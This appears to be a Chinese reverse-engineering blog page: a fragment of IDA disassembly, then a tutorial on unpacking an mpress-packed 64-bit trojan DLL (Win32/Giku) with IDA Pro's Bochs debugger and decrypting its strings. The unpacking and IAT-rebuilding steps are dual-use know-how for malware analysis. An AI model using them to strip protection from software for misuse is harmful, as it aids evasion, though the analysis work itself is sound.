.text:00401431
.text:00401431 loc_401431: ; CODE XREF: sub_401380+52j
.text:00401431 ; sub_401380+67j ...
.text:00401431 mov eax, dword_403224
.text:00401436 inc edi
.text:00401437 add esi, 4
.text:0040143A cmp edi, eax
.text:0040143C jl short loc_4013CE
.text:0040143E jmp loc_40138F
.text:0040143E sub_401380 endp
一些感觸:
到這裡就分析完畢了,終於知道啥原因了,同時也學了個函數StartServiceCtrlDispatcherA,這是一個好函數,用來做文件監控真是再好不過了,而且可以對一些關鍵字進行過濾,假如:有關破解逆向的網頁全部都被屏蔽掉了.好東西,學習了

2011年8月3日星期三

IDA + Bochs 調試器插件進行PE+ 格式DLL脫殼

By :obaby 

在IDA Pro6.1中我們擴展了Bochs調試器插件,現在已經可以進行64位代碼段的調試。在IDA Pro 6.2版本中將有可能實現PE+ 可執行程序的動態調試。由於程序將會在Bochs系統中執行,因而在調試的過程中我們並不需要實際的64位操作系統,因而在實際的調試過程中可以從任何的32位或者64位的Linux,Mac OS 或者Windows操作系統中使用IDA Pro進行64位可執行文件的調試。
為了確認這一項新的功能,我們將進行PE+格式的一個木馬程序進行脫殼並且進行一個大體的分析,這個文件是由MATCODE Software公司的mpress進行壓縮的。我們將會對講解DLL文件脫殼,修復輸入表並且最終修復數據庫來進行分析。

Unpacking the DLL
我們的目標文件是一個木馬的DLL文件,該文件被殺軟識別為“Win32/Giku”。我們從使用idaq64載入DLL文件開始進行分析,載入之後按Ctrl+S鍵打開區段窗口:

打開區段窗口之後注意觀察區段的名稱和mpress壓縮殼設置的區段的屬性。
為了進行DLL文件調試需要確保在啟動之前已經設置調試器的選項設置(“Bochs debugger plugin”)為PE 和64bit emulation 模式。

在啟動調試器之後,注意觀察下面的代碼段,在這段代碼中調用了unpack()函數:

如果我們繼續單步執行到更遠的地方我們將會到達修復輸入表的代碼處,為了實現輸入表的修復程序將會循環調用LoadLibrary()/GetModuleHandle()函數並且在這個循環中會包含另外的一個子循環調用GetProcAddress()。 Mpress外殼通過這兩層循環來實現IAT修復:

在stosq執行之後我們將可以從rdi寄存器中得到IAT結構的起始地址,同樣在兩層循環全部結束之後我們可以從rdi寄存器中得到IAT結構的結束地址。
在IAT修復之後不遠的地方我們可以找到一個跳轉到原始入口點的jmp代碼:

程序的入口點代碼如下所示:

這裡就是脫殼之後的程序的真實的DllEntryPoint()函數了。現在有了程序的OEP和IAT結構的起始/結束地址,我們就可以清空數據庫並且重現脫殼之後的程序了。
Reconstructing and cleaning the database
到這裡有許多的辦法在程序脫殼之後進行清理數據庫清理.通常會包含如下幾步:
1. 定位IAT並且創建一個額外的區段來重現程序的輸入表;
2. 刪除外殼代碼的入口點,並且添加脫殼之後程序的原始入口點OEP;
3. 重新分析代碼;
4. 重新加載FLIRT特徵庫
5. 刪除無用的外殼區段(可選)
其中第一步到第三步可以通過IDA的uunp插件來自動完成,執行菜單中的“Edit/Plugins/Universal unpacker manual reconstruct”即運行該插件:

在插件中填入通過上面的操作得到的數據即可:

點擊確定之後一個新的區段將會被創建,並且代碼段將會被重新分析,在分析完成之後脫殼之後的程序的一個內存快照將會被呈現出來。
現在我們就可以重新引用FLIRT特徵庫了:

在選擇“vc64rtf”簽名(shi​​ft +F5)之後我們可以看到IDA已經成功的識別出了庫函數並且對這些庫函數使用淺藍色進行了標記,這樣可以使得後續的分析工作變得更加簡單。
Analyzing the unpacked code
在代碼解壓之後我們可以通過String Window窗口進行一個快速分析,String Window窗口呈現了一些加密的字符串:

通過交叉引用,我們可以定位到解密函數。在給函數適當的參數之後我們可以直接通過Appcall來解密這些字符串:

我們得到了一個指向加密的文本文件的URL。在深入挖掘之後我們定位到了解密文件的函數:

下面是Appcall版本的decrypt_file()函數:

我們使用這個函數就可以解密spm.txt文件了,解密之後的內容如下所示:

X32.jpg是一個upx壓縮的DLL文件,x64.jpg是一個mpress壓縮的PE+格式的Dll文件。